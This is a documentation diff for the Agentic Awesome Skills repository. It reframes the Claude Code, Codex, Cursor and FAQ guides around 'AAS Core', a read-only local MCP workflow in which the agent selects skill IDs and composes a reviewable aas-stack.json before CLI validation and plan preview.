Agentic Awesome Skills is built around **AAS Core**: Codex or Claude inspects the project, searches and reads the complete local catalog, chooses exact skill IDs, and uses `compose_stack` to pin them in `aas-stack.json`. The CLI validates that agent-owned state and produces an immutable preview plan before any target change.
|
||||
|
||||
## What to look for in an AI agent skills library
|
||||
The catalog, plugins, bundles, workflows, and direct installer remain supporting content and distribution surfaces. AAS does not scan the repository, call a remote model, or write project files through MCP.
|
||||
|
||||
- **Installability**: can you put the skills where your tool expects them without manual copying?
|
||||
- **Supported tools**: does the repo work with Claude Code, Cursor, Codex CLI, Gemini CLI, and related environments?
|
||||
- **Breadth vs curation**: do you want many options or a smaller shortlist of high-signal entries?
|
||||
- **Onboarding quality**: are there docs, bundles, workflows, and examples, or only raw files?
|
||||
- **Trust model**: does the repo identify official sources, security posture, and community review expectations?
|
||||
## What to look for in an AI agent skill system
|
||||
|
||||
- **Explicit input boundary**: is project analysis performed by the coding agent and passed as a reviewable profile?
|
||||
- **Agent-owned selection**: can the coding agent search and read every skill before choosing exact IDs?
|
||||
- **Reproducibility**: can the chosen IDs be pinned to a catalog identity and replayed without a metadata eligibility gate?
|
||||
- **Durable desired state**: can the approved selection be recorded independently of the agent conversation?
|
||||
- **Preview before change**: can the system validate the manifest and produce an exact plan without changing the target?
|
||||
- **Source and compatibility evidence**: are provenance, risk, host support, and distribution boundaries explicit?
|
||||
|
||||
## When Agentic Awesome Skills is a good fit
|
||||
|
||||
- You want one library that spans planning, coding, debugging, testing, security, infra, product, and marketing.
|
||||
- You care about installation paths and practical onboarding, not only catalog size.
|
||||
- You want bundles and workflows to reduce choice overload.
|
||||
- You need compatibility across more than one AI coding assistant.
|
||||
- You use Codex or Claude and want the agent to choose a focused stack for a real project.
|
||||
- You want complete local search and inspection without repository scanning or remote-model calls by AAS.
|
||||
- You need a reviewable `aas-stack.json` and CLI validation and planning before target changes.
|
||||
- You also value a broad catalog and multiple distribution options around the Core workflow.
|
||||
|
||||
## When a smaller curated repo may be better
|
||||
|
||||
- You only want a narrow shortlist of highly curated or vendor-focused skills.
|
||||
- You prefer reviewing fewer files even if coverage is lower.
|
||||
- You are evaluating alternatives for a single tool and want a quick comparison first.
|
||||
- You only want a fixed, vendor-maintained shortlist and do not need project-aware composition.
|
||||
- You prefer selecting and invoking individual skills manually.
|
||||
- Your host does not yet have an AAS Core adapter and direct distribution is sufficient.
|
||||
|
||||
## Start with a tool-specific guide
|
||||
|
||||
@@ -32,7 +35,7 @@ Agentic Awesome Skills is built for the first path: broad coverage, multiple sup
|
||||
- [`codex-cli-skills.md`](codex-cli-skills.md)
|
||||
- [`gemini-cli-skills.md`](gemini-cli-skills.md)
|
||||
|
||||
## Compare broad vs curated libraries
|
||||
## Compare catalogs and distribution models
|
||||
|
||||
- [`agentic-awesome-skills-vs-awesome-claude-skills.md`](agentic-awesome-skills-vs-awesome-claude-skills.md)
|
||||
- [`best-claude-code-skills-github.md`](best-claude-code-skills-github.md)
|
||||
@@ -40,6 +43,6 @@ Agentic Awesome Skills is built for the first path: broad coverage, multiple sup
|
||||
|
||||
## Quick recommendation
|
||||
|
||||
- Choose **Agentic Awesome Skills** if you want a large, installable, multi-tool library with onboarding help.
|
||||
- Choose a smaller curated repo if you want fewer choices and more editorial filtering.
|
||||
- If you are unsure, install this repo first, start with [`bundles.md`](bundles.md), and then compare alternatives once you know your preferred workflow.
|
||||
- Choose **AAS Core** if you want complete local catalog access, agent-owned selection, reproducible stack composition, and a preview plan.
|
||||
- Choose direct distribution if you already know the exact skills you want or your host does not support the Core path.
|
||||
- Choose a smaller curated repository if a fixed editorial shortlist matters more than complete catalog access and durable desired state.
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# Best Claude Code Skills on GitHub
|
||||
|
||||
If you are looking for the **best Claude Code skills on GitHub**, there is no single perfect repository for every user. The right choice depends on whether you want breadth, curation, or official reference material.
|
||||
If you are looking for the **best Claude Code skills on GitHub**, there is no single perfect repository for every user. The right choice depends on whether you want complete catalog access with Claude-owned selection, curated discovery, or official reference material.
|
||||
|
||||
## Best overall installable library
|
||||
## Best for agent-selected project stacks
|
||||
|
||||
### 1. [sickn33/agentic-awesome-skills](https://github.com/sickn33/agentic-awesome-skills)
|
||||
|
||||
Best for teams and individual developers who want one large installable library with onboarding docs, bundles, workflows, and support for more than just Claude Code.
|
||||
Best for teams and individual developers who want Claude to inspect a project, search and read the complete catalog through a local read-only MCP, choose exact IDs, and produce a reviewable `aas-stack.json` before CLI validation and planning.
|
||||
|
||||
Choose this if you want:
|
||||
|
||||
- a broad library you can install and use immediately;
|
||||
- bundles and workflows to reduce choice overload;
|
||||
- compatibility beyond Claude Code alone.
|
||||
- complete local catalog access with Claude-owned selection;
|
||||
- durable desired state plus immutable plan preview;
|
||||
- a broad catalog, plugins, bundles, workflows, and direct distribution around Core.
|
||||
|
||||
## Best curated shortlist
|
||||
|
||||
@@ -52,11 +52,11 @@ Choose this if you want:
|
||||
|
||||
## How to choose quickly
|
||||
|
||||
- Choose **Agentic Awesome Skills** if you want the most practical install-and-use path.
|
||||
- Choose **Agentic Awesome Skills** if you want project-specific composition and a reviewable lifecycle before any target change.
|
||||
- Choose **VoltAgent Awesome Agent Skills** if you want the strongest curated shortlist.
|
||||
- Choose **anthropics/skills** if official vendor reference matters most.
|
||||
- Choose **karanb192/awesome-claude-skills** if you want a smaller community-first Claude library.
|
||||
|
||||
## Recommended next step
|
||||
|
||||
If you want to get productive quickly, install [Agentic Awesome Skills](https://github.com/sickn33/agentic-awesome-skills) and start with [`claude-code-skills.md`](claude-code-skills.md) plus [`bundles.md`](bundles.md).
|
||||
If you want a project-specific stack, start with the [AAS Core guide](aas-core.md) and [`claude-code-skills.md`](claude-code-skills.md). Use direct distribution only when you already know the exact skills or fixed plugin you want.
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Best Cursor Skills on GitHub
|
||||
|
||||
If you are searching for the **best Cursor skills on GitHub**, the best option depends on whether you want a broad installable library, a curated discovery list, or a smaller community collection.
|
||||
If you are searching for the **best Cursor skills on GitHub**, the best option depends on whether you want an agent-composed project stack, a broad direct distribution, a curated discovery list, or a smaller community collection. Cursor does not yet have a native AAS Core adapter, so its current AAS path is direct distribution rather than the Codex/Claude Core workflow.
|
||||
|
||||
## Best overall installable library
|
||||
## Broadest AAS direct distribution for Cursor
|
||||
|
||||
### 1. [sickn33/agentic-awesome-skills](https://github.com/sickn33/agentic-awesome-skills)
|
||||
|
||||
Best for developers who want one repository they can install into Cursor and keep using across frontend, backend, testing, infra, product, and growth work.
|
||||
Best for developers who want the AAS catalog delivered into Cursor across frontend, backend, testing, infra, product, and growth work while treating AAS Core as the repository's primary product for supported agent clients.
|
||||
|
||||
Choose this if you want:
|
||||
|
||||
@@ -52,11 +52,11 @@ Choose this if you want:
|
||||
|
||||
## How to choose quickly
|
||||
|
||||
- Choose **Agentic Awesome Skills** if you want the strongest install-and-use path for real day-to-day Cursor work.
|
||||
- Choose **Agentic Awesome Skills** if you want its broad supporting catalog and direct Cursor distribution today, with a clear boundary that this is not yet the native AAS Core path.
|
||||
- Choose **VoltAgent Awesome Agent Skills** if you want curation first and installation later.
|
||||
- Choose **Ai-Agent-Skills** if you want a smaller installable library.
|
||||
- Choose **cursor-skills** if you want the most Cursor-specific starting point.
|
||||
|
||||
## Recommended next step
|
||||
|
||||
If your goal is to start working in Cursor today, install [Agentic Awesome Skills](https://github.com/sickn33/agentic-awesome-skills) and continue with [`cursor-skills.md`](cursor-skills.md).
|
||||
If your goal is to start working in Cursor today, use the direct distribution guidance in [`cursor-skills.md`](cursor-skills.md). For the primary product model and current Codex/Claude path, read the [AAS Core guide](aas-core.md).
|
||||
|
||||
@@ -825,7 +825,9 @@ _For shipping clean changes in public repositories._
|
||||
**Plugin status:** Codex plugin-safe · Claude plugin-safe
|
||||
|
||||
- [`commit`](../../skills/commit/): High-quality conventional commits.
|
||||
- [`create-branch`](../../skills/create-branch/): Create a safe topic branch before committing.
|
||||
- [`create-pr`](../../skills/create-pr/): PR creation with review-ready context.
|
||||
- [`pr-writer`](../../skills/pr-writer/): Write and open structured pull requests.
|
||||
- [`requesting-code-review`](../../skills/requesting-code-review/): Ask for targeted, high-signal reviews.
|
||||
- [`receiving-code-review`](../../skills/receiving-code-review/): Apply feedback with technical rigor.
|
||||
- [`changelog-automation`](../../skills/changelog-automation/): Keep release notes and changelogs consistent.
|
||||
@@ -1060,4 +1062,4 @@ Found a skill that should be in a bundle? Or want to create a new bundle? [Open
|
||||
|
||||
---
|
||||
|
||||
_Last updated: June 2026 | Total Skills: 1,965+ | Total Bundles: 58_
|
||||
_Last updated: June 2026 | Total Skills: 1,969+ | Total Bundles: 58_
|
||||
|
||||
@@ -1,24 +1,31 @@
|
||||
# Claude Code Skills
|
||||
# AAS Core with Claude Code
|
||||
|
||||
If you are looking for **Claude Code skills** you can install from GitHub, this repository is designed to get you from first clone to first useful prompt quickly.
|
||||
For Claude Code, the recommended AAS path is **AAS Core**: a local, agent-first control plane for complete catalog search, Claude-owned skill selection, manifest inspection, and preview-first planning.
|
||||
|
||||
Agentic Awesome Skills gives Claude Code users an installable library of `SKILL.md` playbooks, role-based bundles, and execution workflows. The goal is not just to collect prompts, but to make repeatable engineering tasks easier to invoke, review, and reuse.
|
||||
The local AAS MCP is read-only. It lets Claude search and read every catalog skill, then validate and pin Claude's chosen IDs in `aas-stack.json`; planning and any approved changes stay in the AAS CLI lifecycle.
|
||||
|
||||
Release `9.0.0` also adds a first-class Claude Code plugin distribution plus bundle plugins. If you want the full explanation of root plugin vs bundle plugin vs full install, read [plugins.md](plugins.md).
|
||||
Start with the [AAS Core guide](aas-core.md). The Claude plugin marketplace and direct skill installation remain supported delivery paths after you know which skills you want.
|
||||
|
||||
> **Preview status:** Complete catalog search, agent-owned selection, manifest validation, and planning are the documented path. Stop after plan review; apply and recovery remain experimental.
|
||||
|
||||
## How to use Agentic Awesome Skills with Claude Code
|
||||
|
||||
Install the library into Claude Code, then invoke focused skills directly in the conversation or through the plugin marketplace path. Claude Code benefits most when you keep the prompt specific about the skill, the scope, and the intended output.
|
||||
Configure AAS Core for Claude Code, describe the task and constraints, let Claude choose exact IDs from the complete catalog, then review the composed stack and preview the CLI plan. Core does not install or mutate through MCP.
|
||||
|
||||
## Why use this repo for Claude Code
|
||||
|
||||
- It includes 1,965+ skills instead of a narrow single-domain starter pack.
|
||||
- It lets Claude search the verified local catalog without loading the full library into context.
|
||||
- It preserves Claude's exact selection without using metadata as an eligibility gate.
|
||||
- It keeps MCP discovery read-only and CLI changes approval-gated.
|
||||
- It includes 1,969+ skills instead of a narrow single-domain starter pack.
|
||||
- It supports the standard `.claude/skills/` path and the Claude Code plugin marketplace flow.
|
||||
- It also ships generated bundle plugins so teams can install focused packs like `Essentials` or `Security Developer` from the marketplace metadata.
|
||||
- It includes onboarding docs, bundles, and workflows so new users do not need to guess where to begin.
|
||||
- It covers both everyday engineering tasks and specialized work like security reviews, infrastructure, product planning, and documentation.
|
||||
|
||||
## Install Claude Code Skills
|
||||
## Direct install and plugins
|
||||
|
||||
These are alternative delivery paths for users who already know which skill payload they want.
|
||||
|
||||
### Option A: installer CLI
|
||||
|
||||
@@ -53,6 +60,14 @@ test -d .claude/skills || test -d ~/.claude/skills
|
||||
|
||||
## Example Claude Code prompts
|
||||
|
||||
With AAS Core configured:
|
||||
|
||||
```text
|
||||
Inspect this security-review project, search and read the complete AAS catalog, and choose the exact skill IDs you judge most useful. Use compose_stack with a project profile, show me the schema 2 aas-stack.json, inspect it, and preview the plan without applying it.
|
||||
```
|
||||
|
||||
After installing or activating a chosen skill, direct invocation still works:
|
||||
|
||||
```text
|
||||
Use @brainstorming to design a new billing workflow for my SaaS.
|
||||
```
|
||||
@@ -67,6 +82,7 @@ Use @create-pr to turn these changes into a clean PR summary and checklist.
|
||||
|
||||
## What to do next
|
||||
|
||||
- Start with [`aas-core.md`](aas-core.md) for setup, trust boundaries, and the stack lifecycle.
|
||||
- Start with [`bundles.md`](bundles.md) if you want a role-based shortlist.
|
||||
- Use [`workflows.md`](workflows.md) if you want step-by-step execution playbooks.
|
||||
- Compare options in [`best-claude-code-skills-github.md`](best-claude-code-skills-github.md) if you are still evaluating repositories.
|
||||
|
||||
@@ -1,39 +1,47 @@
|
||||
# Codex CLI Skills
|
||||
# AAS Core with Codex CLI
|
||||
|
||||
If you want **Codex CLI skills** that are easy to install and practical in a local coding loop, this repository is designed for that exact use case.
|
||||
For Codex, the recommended AAS path is **AAS Core**: a local, agent-first control plane that lets Codex search and read every catalog skill, choose the exact IDs itself, and preserve that selection before anything is installed.
|
||||
|
||||
Agentic Awesome Skills supports Codex CLI through the `.codex/skills/` path and gives you a wide set of reusable task playbooks for planning, implementation, debugging, testing, security review, and delivery.
|
||||
The AAS MCP server is local and read-only. Codex can call `search_skills`, `get_skill`, `compose_stack`, `inspect_stack`, and `diff_stack`; changes remain in the CLI lifecycle, where `validate` and `plan` are preview operations and `apply` requires explicit approval.
|
||||
|
||||
Release `9.0.0` also adds a first-class Codex plugin distribution plus bundle plugins. If you want the full explanation of root plugin vs bundle plugin vs full install, read [plugins.md](plugins.md).
|
||||
Start with the [AAS Core guide](aas-core.md). Direct skill installation and Codex plugins remain supported when you already know exactly which payload you want.
|
||||
|
||||
> **Preview status:** Complete catalog search, agent-owned selection, manifest validation, and planning are the documented path. Stop after plan review; apply and recovery remain experimental.
|
||||
|
||||
## How to use Agentic Awesome Skills with Codex CLI
|
||||
|
||||
Install the library into your Codex path, then invoke focused skills directly in your prompt. The most common pattern is:
|
||||
Configure AAS Core for Codex, then describe the real task instead of manually searching a large directory. The normal flow is:
|
||||
|
||||
1. install with `npx agentic-awesome-skills --codex`
|
||||
2. choose one workflow-oriented skill such as `@brainstorming`, `@concise-planning`, or `@test-driven-development`
|
||||
3. ask Codex to apply that skill to a concrete file, feature, test, or bugfix
|
||||
1. Codex discovers the local AAS MCP tools.
|
||||
2. Codex searches and reads the complete catalog, then chooses the exact skills using its project understanding.
|
||||
3. Codex calls `compose_stack` and proposes `aas-stack.json` for you to review.
|
||||
4. The AAS CLI validates the manifest and previews the exact plan.
|
||||
5. Stop after reviewing the plan unless you are deliberately participating in controlled preview development.
|
||||
|
||||
## Why use this repo for Codex CLI
|
||||
|
||||
- It supports Codex CLI with a dedicated install flag and a standard skills layout.
|
||||
- It gives Codex native, complete local catalog discovery through MCP.
|
||||
- It keeps the agent's exact selection, project profile, validation, and planning inspectable.
|
||||
- It separates read-only agent tools from approval-gated CLI mutations.
|
||||
- It is strong for local repo work where you want to move from planning to implementation to verification without changing libraries.
|
||||
- It includes both general-purpose engineering skills and deeper specialist tracks.
|
||||
- It gives you docs and bundles, not just raw skill files.
|
||||
- It still supports direct installs and plugin distributions as delivery surfaces.
|
||||
|
||||
## Install Codex CLI Skills
|
||||
## Direct install and plugins
|
||||
|
||||
Use a direct install only when you intentionally want the library copied into Codex's skills path:
|
||||
|
||||
```bash
|
||||
npx agentic-awesome-skills --codex
|
||||
```
|
||||
|
||||
If you prefer a plugin-style Codex integration, this repository also ships repo-local plugin metadata in `.agents/plugins/marketplace.json` and `plugins/agentic-awesome-skills/.codex-plugin/plugin.json`.
|
||||
For plugin-style packaging, this repository also ships repo-local metadata in `.agents/plugins/marketplace.json` and `plugins/agentic-awesome-skills/.codex-plugin/plugin.json`.
|
||||
|
||||
It also generates bundle-specific Codex plugins so you can install a curated pack such as `Essentials` or `Web Wizard` as a marketplace plugin instead of loading the full library.
|
||||
|
||||
Those Codex plugins are plugin-safe filtered distributions. Skills that still depend on host-specific paths or undeclared setup stay in the repository, but are not published into the Codex plugin until they are hardened.
|
||||
|
||||
For the canonical explanation of how Codex plugins relate to the full library and bundle installs, read [plugins.md](plugins.md).
|
||||
For the canonical explanation of how Core, Codex plugins, and direct installs relate, read [plugins.md](plugins.md).
|
||||
|
||||
### Verify the install
|
||||
|
||||
@@ -51,6 +59,14 @@ test -d .codex/skills || test -d ~/.codex/skills
|
||||
|
||||
## Example Codex CLI prompts
|
||||
|
||||
With AAS Core configured:
|
||||
|
||||
```text
|
||||
Inspect this parser project, search and read the complete AAS catalog, and choose the exact skill IDs you judge most useful for designing and testing the change. Use compose_stack with a project profile, show me the schema 2 aas-stack.json, inspect it, and preview the plan; do not apply it.
|
||||
```
|
||||
|
||||
After installing or activating a chosen skill, direct invocation still works:
|
||||
|
||||
```text
|
||||
Use @concise-planning to break this feature request into an implementation checklist.
|
||||
```
|
||||
@@ -65,6 +81,7 @@ Use @create-pr once everything is passing and summarize the user-facing changes.
|
||||
|
||||
## What to do next
|
||||
|
||||
- Start with [`aas-core.md`](aas-core.md) for setup, trust boundaries, and the stack lifecycle.
|
||||
- Read [`ai-agent-skills.md`](ai-agent-skills.md) if you want a framework for choosing between broad and curated skill libraries.
|
||||
- Read [`plugins.md`](plugins.md) if you want the plugin-specific install story for Codex and Claude Code.
|
||||
- Use [`workflows.md`](workflows.md) when you want step-by-step execution patterns for common engineering goals.
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
# Stable Skills Manifest v1
|
||||
# Stable Skills Manifest v1 for Custom Integrations
|
||||
|
||||
This page documents the `skills_index.json` manifest contract used by stable integrations.
|
||||
This page documents the legacy-compatible `skills_index.json` contract used by custom host integrations and lazy loaders.
|
||||
|
||||
For Codex and Claude Code, use [AAS Core](aas-core.md) instead of wiring a host directly to this repository manifest. Core exposes every skill in a verified local catalog through bounded, read-only MCP tools for search, inspection, and agent-owned composition. The raw manifest remains useful for integrations that do not have an AAS Core host adapter.
|
||||
|
||||
## Manifest contract (v1)
|
||||
|
||||
@@ -34,7 +36,7 @@ Stable integrations must not load every skill instruction file up front.
|
||||
- Enforce a per-turn maximum so user prompts stay below context limits.
|
||||
- Validate each resolved path stays under your configured `SKILLS_ROOT`.
|
||||
|
||||
This is the core prevention for context truncation and trajectory conversion errors in larger multi-skill hosts.
|
||||
This is the main prevention for context truncation and trajectory conversion errors in custom multi-skill hosts. It is not the AAS Core catalog or stack lifecycle contract.
|
||||
|
||||
## Why the `data/` mirror exists
|
||||
|
||||
@@ -57,6 +59,7 @@ This is the core prevention for context truncation and trajectory conversion err
|
||||
|
||||
## Related docs
|
||||
|
||||
- [`docs/users/aas-core.md`](aas-core.md)
|
||||
- [`docs/integrations/jetski-cortex.md`](../integrations/jetski-cortex.md)
|
||||
- [`docs/integrations/jetski-gemini-loader/README.md`](../integrations/jetski-gemini-loader/README.md)
|
||||
- [`docs/users/windows-truncation-recovery.md`](windows-truncation-recovery.md)
|
||||
|
||||
@@ -6,6 +6,22 @@
|
||||
|
||||
## General Questions
|
||||
|
||||
### What is AAS Core?
|
||||
|
||||
AAS Core is the versioned control plane that gives Codex or Claude complete local catalog access and turns the agent's exact selection into a reproducible project stack. The agent inspects the repository, searches and reads skills, chooses exact IDs, and uses `compose_stack` to propose `aas-stack.json`. The `aas` CLI then validates the manifest and previews an immutable plan.
|
||||
|
||||
AAS Core is the product; the approved `aas-stack.json` and immutable plan are its durable artifacts. Skills and the catalog provide content and evidence, MCP and CLI are interfaces, Workbench is a review surface, and plugins, bundles, workflows, and installers provide curation or distribution around Core. Start with [AAS Core](aas-core.md).
|
||||
|
||||
### Is AAS Core fully certified?
|
||||
|
||||
Core supports complete local catalog search and inspection, agent-owned selection, reproducible composition, manifest validation, and plan preview. Transactional apply/recovery safety remains outside the supported claim.
|
||||
|
||||
`stack apply` and `stack recover` are experimental, disabled by default, and are not supported preview safety claims. The recommended public flow stops after reviewing `stack validate` and `stack plan` output.
|
||||
|
||||
### Does AAS upload my repository or use another model?
|
||||
|
||||
No. The agent inspects the project using its normal local capabilities. AAS MCP only exposes the complete bundled or verified local catalog and validates agent-selected IDs; it does not scan the repository, rank skills, or enforce selection policy. MCP is local stdio, read-only, offline-capable, and contains no model credentials or telemetry.
|
||||
|
||||
### What are "skills" exactly?
|
||||
|
||||
Skills are specialized instruction files that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
|
||||
@@ -13,9 +29,9 @@ Skills are specialized instruction files that teach AI assistants how to handle
|
||||
|
||||
### Do I need to install every skill?
|
||||
|
||||
**No!** When you clone the repository, all skills are available, but your AI only loads them when you explicitly invoke them with `@skill-name`.
|
||||
It's like having a library - all books are there, but you only read the ones you need.
|
||||
**Pro Tip:** Use [Starter Packs](bundles.md) to focus on the skills that match your role first.
|
||||
**No.** With AAS Core, ask the agent to inspect the project and choose the exact skills from the complete catalog. On a broad direct install, all skills may be present locally while the host loads only the skills it invokes.
|
||||
|
||||
Use [Starter Packs](bundles.md) as human-curated presets when you want a fixed starting point.
|
||||
|
||||
If you want a narrower install surface for **Claude Code** or **Codex**, use the new plugin distributions documented in [plugins.md](plugins.md) instead of the full library install.
|
||||
|
||||
@@ -31,12 +47,13 @@ Start from:
|
||||
- [bundles.md](bundles.md)
|
||||
- [workflows.md](workflows.md)
|
||||
|
||||
### What is the difference between skills and MCP tools?
|
||||
### What is the difference between skills, AAS MCP, and the CLI?
|
||||
|
||||
- **Skills** are reusable `SKILL.md` playbooks that guide an AI assistant through a workflow.
|
||||
- **MCP tools** are integrations or callable capabilities that let the assistant interact with external systems.
|
||||
- **AAS MCP** is the local, read-only discovery and composition interface to AAS Core. It exposes every catalog skill, reads requested content, validates agent-selected IDs, and checks or compares manifests.
|
||||
- **The `aas` CLI** manages explicit lifecycle operations such as catalog status/update, MCP configuration, stack validation, planning, and diagnostics.
|
||||
|
||||
Use skills when you want better process, structure, and execution quality. Use MCP tools when you need access to APIs, services, databases, or other systems. Use both when you want reliable workflows plus external capabilities.
|
||||
Other MCP servers may grant access to APIs, services, databases, or hosted systems. AAS MCP has a narrower boundary: it does not install, apply, update catalogs, scan repositories, or modify configuration through tool calls.
|
||||
|
||||
For the longer explanation, read [skills-vs-mcp-tools.md](skills-vs-mcp-tools.md).
|
||||
|
||||
@@ -118,6 +135,12 @@ _Always check the Risk label and review the code._
|
||||
|
||||
## Installation & Setup
|
||||
|
||||
### How do I start with AAS Core?
|
||||
|
||||
Use the pinned `aas` binary from a release whose notes explicitly state that it includes AAS Core to preview and approve local MCP configuration for Codex or Claude. Release 14.6.0 predates Core; Core-capable packages begin with the 15.x line. Restart the host if needed, then ask the agent to search the full catalog, choose exact IDs, and compose a stack without applying it. The command template and trust boundaries are in [AAS Core](aas-core.md).
|
||||
|
||||
The package publishes separate `agentic-awesome-skills`, `aas`, and `aas-mcp` binaries. Use the explicit `aas` binary for Core lifecycle commands; the legacy `agentic-awesome-skills` entrypoint remains the direct installer.
|
||||
|
||||
### Where should I install the skills?
|
||||
|
||||
It depends on how you install:
|
||||
@@ -137,7 +160,7 @@ If you get a 404 from npm, use: `npx github:sickn33/agentic-awesome-skills`
|
||||
git clone https://github.com/sickn33/agentic-awesome-skills.git .agent/skills
|
||||
```
|
||||
|
||||
The installer CLI is the recommended path for most users because it performs a lighter shallow clone of the current library. Manual `git clone` is still the right option when you want the full repository history or plan to contribute from the same checkout.
|
||||
For direct skill distribution, the installer CLI performs a lighter shallow clone of the current library. Manual `git clone` remains appropriate when you want the full repository history or plan to contribute from the same checkout. For Codex or Claude users who want project-specific agent selection with reproducible state, start with AAS Core instead of treating a full-library install as the primary product path.
|
||||
|
||||
**Tool-specific paths:**
|
||||
|
||||
@@ -254,7 +277,7 @@ npx agentic-awesome-skills@14.3.0 --path .agents/skills --release 14.3.0 --skill
|
||||
|
||||
Remove `--dry-run` only after reviewing the plan.
|
||||
|
||||
If you prefer to assemble and review the set visually, use the hosted [Skill Workbench](https://sickn33.github.io/agentic-awesome-skills/workbench). It filters recorded risk, provenance, host compatibility, and setup evidence before generating the same release-pinned commands.
|
||||
To review a Core stack manifest or immutable plan visually, use the hosted [Skill Workbench](https://sickn33.github.io/agentic-awesome-skills/workbench). It imports the JSON in browser memory and checks the supported artifact structure; it does not assemble a stack, generate install commands, access the filesystem, or install skills.
|
||||
|
||||
The filter rules are:
|
||||
|
||||
@@ -355,9 +378,13 @@ Examples:
|
||||
|
||||
### How do I know which skill to use?
|
||||
|
||||
With AAS Core, describe the project outcome and constraints, then ask the agent to search and read the full catalog, choose exact IDs, and call `compose_stack`. Review the agent's rationale and proposed IDs before accepting the stack.
|
||||
|
||||
For manual discovery:
|
||||
|
||||
1. **Browse the catalog**: Check the [Skill Catalog](../../CATALOG.md).
|
||||
2. **Search**: `ls skills/ | grep "keyword"`
|
||||
3. **Ask your AI**: "What skills do you have for testing?"
|
||||
2. **Search**: `ls skills/ | grep "keyword"`.
|
||||
3. **Use a preset**: Start from [Bundles](bundles.md).
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Install into the Gemini skills path, then ask Gemini to apply one skill at a tim
|
||||
|
||||
- It installs directly into the expected Gemini skills path.
|
||||
- It includes both core software engineering skills and deeper agent/LLM-oriented skills.
|
||||
- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,965+ files.
|
||||
- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,969+ files.
|
||||
- It is useful whether you want a broad internal skill library or a single repo to test many workflows quickly.
|
||||
|
||||
## Install Gemini CLI Skills
|
||||
|
||||
@@ -1,8 +1,21 @@
|
||||
# Getting Started with Agentic Awesome Skills (V14.6.0)
|
||||
# Getting Started with AAS Core
|
||||
|
||||
**New here? This guide will help you supercharge your AI Agent in 5 minutes.**
|
||||
**New here? Start with AAS Core and let your agent choose a reviewable skill stack from the complete catalog.**
|
||||
|
||||
> **💡 Confused about what to do after installation?** Check out the [**Complete Usage Guide**](usage.md) for detailed explanations and examples!
|
||||
> **Product boundary:** Codex or Claude owns skill selection. AAS Core provides complete local catalog access, reproducible composition, validation, and plan preview; apply and recovery remain experimental.
|
||||
|
||||
## Start with AAS Core
|
||||
|
||||
AAS Core is the primary product path. Codex or Claude inspects your project, searches and reads the complete catalog through the local read-only AAS MCP, chooses the exact skill IDs, and uses `compose_stack` to propose an `aas-stack.json`. You review those IDs before using the `aas` CLI to validate the manifest and preview a plan.
|
||||
|
||||
```text
|
||||
project -> agent -> full local catalog -> agent selection -> compose_stack -> aas-stack.json
|
||||
-> human review -> validate -> plan preview
|
||||
```
|
||||
|
||||
Start with the canonical [AAS Core guide](aas-core.md) to configure the MCP and run that flow. The direct installer, plugins, bundles, and manual skill invocation described below remain useful alternatives, especially for hosts without a native AAS MCP adapter.
|
||||
|
||||
> **Need more examples after setup?** Continue with the [Complete Usage Guide](usage.md).
|
||||
|
||||
---
|
||||
|
||||
@@ -15,16 +28,16 @@ AI Agents (like **Claude Code**, **Gemini**, **Cursor**) are smart, but they lac
|
||||
|
||||
---
|
||||
|
||||
## Quick Start: The "Starter Packs"
|
||||
## Alternative Path: Direct Skill Distribution and Starter Packs
|
||||
|
||||
Don't panic about the size of the repository. You don't need everything at once.
|
||||
We have curated **Starter Packs** to get you running immediately.
|
||||
|
||||
You **install the full repo once** (npx or clone); Starter Packs are curated lists to help you **pick which skills to use** by role (e.g. Web Wizard, Hacker Pack)—they are not a different way to install.
|
||||
On the direct-install path, you install the library once (npx or clone); Starter Packs are curated lists to help you **pick which skills to use** by role (e.g. Web Wizard, Hacker Pack)—they are not a different way to install.
|
||||
|
||||
If you prefer a marketplace-style install for **Claude Code** or **Codex**, use the new plugin distributions described in [plugins.md](plugins.md).
|
||||
|
||||
### 1. Install the Repo
|
||||
### 1. Install Skills Directly
|
||||
|
||||
**Option A — npx (easiest):**
|
||||
|
||||
@@ -154,7 +167,7 @@ For Claude Code, use:
|
||||
For Codex, this repository also ships a root plugin plus bundle plugins through the repo-local metadata described in [plugins.md](plugins.md).
|
||||
|
||||
**Q: Do I need to install every skill?**
|
||||
A: You clone the whole repo once; your AI only _reads_ the skills you invoke (or that are relevant), so it stays lightweight. **Starter Packs** in [bundles.md](bundles.md) are curated lists to help you discover the right skills for your role—they don't change how you install.
|
||||
A: No. With AAS Core, ask the agent to inspect the project and choose exact IDs from the complete catalog. On the legacy direct-install path, you can install the broad library while the host reads only invoked or relevant skills. **Starter Packs** in [bundles.md](bundles.md) remain human-curated discovery aids.
|
||||
|
||||
**Q: Can I make my own skills?**
|
||||
A: Yes! Use the **@skill-creator** skill to build your own.
|
||||
@@ -186,6 +199,7 @@ Need a tool-specific starting point first?
|
||||
- [Codex CLI skills](codex-cli-skills.md)
|
||||
- [Gemini CLI skills](gemini-cli-skills.md)
|
||||
|
||||
1. [Browse the Bundles](bundles.md)
|
||||
2. [See Real-World Examples](../contributors/examples.md)
|
||||
3. [Contribute a Skill](../../CONTRIBUTING.md)
|
||||
1. [Configure and use AAS Core](aas-core.md)
|
||||
2. [Browse the Bundles](bundles.md)
|
||||
3. [See Real-World Examples](../contributors/examples.md)
|
||||
4. [Contribute a Skill](../../CONTRIBUTING.md)
|
||||
|
||||
@@ -18,7 +18,7 @@ Kiro is AWS's agentic AI IDE that combines:
|
||||
|
||||
Kiro's agentic capabilities are enhanced by skills that provide:
|
||||
|
||||
- **Domain expertise** across 1,965+ specialized areas
|
||||
- **Domain expertise** across 1,969+ specialized areas
|
||||
- **Best practices** from Anthropic, OpenAI, Google, Microsoft, and AWS
|
||||
- **Workflow automation** for common development tasks
|
||||
- **AWS-specific patterns** for serverless, infrastructure, and cloud architecture
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
Release `9.0.0` adds first-class plugin distributions for both **Claude Code** and **Codex**.
|
||||
|
||||
This page is the canonical explanation of what those plugins are, how they differ from a full library install, and why the repository now ships both a **root plugin** and multiple **specialized plugins**.
|
||||
